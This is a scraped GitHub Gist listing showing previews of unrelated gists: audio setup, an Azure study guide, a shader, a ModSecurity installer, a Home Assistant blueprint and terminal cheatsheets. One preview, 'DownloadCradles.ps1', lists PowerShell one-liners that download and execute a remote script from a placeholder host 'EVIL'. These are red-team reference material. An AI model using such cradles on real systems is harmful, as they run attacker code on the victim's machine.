Skip to content

Instantly share code, notes, and snippets.

@crojewsk
crojewsk / skl_hdadmic-howto.md
Last active May 21, 2024 16:41
Enabling HDA (dsp) plus DMIC audio configuration on Skylake and Kabylake platforms
@aamiaa
aamiaa / CompleteDiscordQuest.md
Last active May 21, 2024 16:41
Complete Recent Discord Quest

Complete Recent Discord Quest

Note

This no longer works in browser!

Note

This no longer works if you're alone in vc! Somebody else has to join you!

How to use this script:

  1. Accept the quest under User Settings -> Gift Inventory
@timothywarner
timothywarner / az900sg.md
Created October 15, 2020 12:31
AZ-900 Microsoft Azure Fundamentals Study Blueprint
@realvjy
realvjy / ChoasLinesShader.metal
Last active May 21, 2024 16:39
Choas Lines - Metal Shader
// Lines
float hash( float n ) {
return fract(sin(n)*753.5453123);
}
// Slight modification of iq's noise function.
float noise(vector_float2 x )
{
vector_float2 p = floor(x);
vector_float2 f = fract(x);
@nderkach
nderkach / recognizer.py
Last active May 21, 2024 16:38
Facebook photo upload and photo tagging
#!/usr/bin/env python
import requests
import re
import urllib.parse
import sys, os
import json
from requests_toolbelt import MultipartEncoder
BASE_URL = 'https://mbasic.facebook.com'
@HarmJ0y
HarmJ0y / DownloadCradles.ps1
Last active May 21, 2024 16:36
Download Cradles
# normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")
# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')
# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r
# Msxml2.XMLHTTP COM object
@moebius5
moebius5 / libModSecurity.sh
Last active May 21, 2024 16:33 — forked from chetanppatil/libModSecurity.sh
Install and enable libModSecurity for your Nginx (Ubuntu 20.04 tested)
##
# ModSecurity NGINX INSTALLATION SCRIPT
##
# Install Prerequisite Packages
echo "Install Prerequisite Packages";
sudo apt-get install -y apt-utils autoconf automake build-essential git libcurl4-openssl-dev libgeoip-dev liblmdb-dev libpcre++-dev libtool libxml2-dev libyajl-dev pkgconf wget zlib1g-dev
OPT_DIR=/opt
NGINX_DIR=/etc/nginx
@trilorian
trilorian / ikea-rodret_E2201_ZHA.yaml
Last active May 21, 2024 16:33 — forked from damru/ikea-rodret_E2201_ZHA-Z2M_control-anything.yaml
IKEA RODRET Dimmer Remote (E2201) - ZHA
blueprint:
name: IKEA Rodret Dimmer
description: "## IKEA RODRET Dimmer remote (v1.2)
Only for use with [ZHA](https://www.home-assistant.io/integrations/zha/)
Available controls:
@MrHallows
MrHallows / fastboot_help.md
Last active May 21, 2024 16:30
fastboot commands

Command:

$ fastboot help

Output:

usage: fastboot [OPTION...] COMMAND...

flashing:
@squarism
squarism / iterm2.md
Last active May 21, 2024 16:30
An iTerm2 Cheatsheet

Tabs and Windows

Function Shortcut
New Tab + T
Close Tab or Window + W (same as many mac apps)
Go to Tab + Number Key (ie: ⌘2 is 2nd tab)
Go to Split Pane by Direction + Option + Arrow Key
Cycle iTerm Windows + backtick (true of all mac apps and works with desktops/mission control)